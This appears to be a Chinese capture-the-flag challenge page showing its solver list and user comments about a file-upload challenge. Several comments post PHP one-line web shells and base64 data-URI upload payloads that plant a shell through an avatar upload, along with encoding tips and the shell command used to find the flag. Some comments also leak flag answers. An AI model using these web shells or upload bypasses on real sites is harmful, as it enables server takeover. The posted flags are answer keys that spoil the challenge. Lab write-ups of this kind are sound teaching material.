评分(12)
解题动态
1柒1 攻破了该题 10小时前
世界你好 攻破了该题 1天前
origami 攻破了该题 3天前
小楼一夜听春雨 攻破了该题 4天前
能工智人 攻破了该题 4天前
sadsadgd 攻破了该题 4天前
fjakjasdhfa 攻破了该题 4天前
daidi 攻破了该题 5天前
nwnmc 攻破了该题 6天前
LakeFlasher 攻破了该题 8天前
18350618976 攻破了该题 9天前
爱喝甜水 攻破了该题 10天前
Reunion 攻破了该题 12天前
woshicaocao 攻破了该题 13天前
ddd_mifan 攻破了该题 14天前
whshkdh 攻破了该题 14天前
星宇Sec 攻破了该题 18天前
LLawliet 攻破了该题 19天前
这个昵称已存在 攻破了该题 19天前
评论
LLTVLL 2年前
举报
一句话用这个 <?php eval($_POST['cmd']);?>，好像网上找的有的有问题
BlueL1ght 2年前
举报
<?php echo `$_POST[a]`;?>
Daniel2023 2年前
举报
<?php @eval($_POST['abc']);?> 上传data参数： data%3Aimage%2Fphp%3Bbase64%2C%2F9j%2FPD9waHAgQGV2YWwoJF9QT1NUWydhYmMnXSk7Pz4=
vchopin 2年前
举报
base64最后结尾要= 不然bp显示php syntax error，蚁剑连不上
lzq2000 1年前
举报
大家都知道base64编码是按顺序每三个字符一组进行编码，正常情况下对“;?＞”进行base64编码得到的就是“Oz8+”，我们可以调整“;”前面的字符长度，让“;”不与“?＞”分在一组编码即可！另外我估计把加号进行url编码应该也可以，我没测试。
lzq2000 1年前
举报
不是最后结尾要为“=”，而是结尾不能为“+”，因为“+”会被认为是空格，不参与base64解码，所以解码后会少个大于号“＞”，运行这个php时会报错！！！而且一般情况下base64编码后大概率后面会出现“+”
XRain 3年前
举报
实战题才好玩，各种黑盒测试，我看到 data://image/jpeg 和保存的图片文件名后缀 jpeg，就猜想这两个 jpeg 是不是有关联，一测发现果然有。
不会编程的崽 3年前
举报
我不理解，POST['a'],死活连不上，POST['attack']就可以。。。。。
lzq2000 1年前
举报
大家都知道base64编码是按顺序每三个字符一组进行编码，正常情况下对“;?＞”进行base64编码得到的就是“Oz8+”，我们可以调整“;”前面的字符长度，让“;”不与“?＞”分在一组编码即可！另外我估计把加号进行url编码应该也可以，我没测试。
lzq2000 1年前
举报
结尾不能为“+”，因为“+”会被认为是空格，不参与base64解码，所以解码后会少个大于号“＞”，运行这个php时会报错！！！你这个马POST['a']在base64编码后会出现“+”，而POST['attack']不会出现加号！
三碗不过杠 3年前
举报
flag{fd71260e4d41df49807229647056e7dd} 头像处文件上传，抓包base64编码写入一句话木马，上传蚁剑链接，重点就是改php，base
冯飞99 3年前
举报
这种实战题才是最爽的 flag{50352c0c4604ee60638e2579cbe3e141}
孙谦的鸟岛 12月前
举报
你别骗我，我可是开国大元帅
wxy1343 3年前
举报
flag{412d5e0844a33f36c9aa3d688425fb9f}
ctfliu 3年前
举报
image=data%3Aimage%2Fphp%3Bbase64%2CPD9waHAgQGV2YWwoJF9QT1NUWydkYWRhZGYnXSk7Pz4= 密码dadadf 一剑连接返回的地址。在shell中用find / -name flag /var/www/html/flag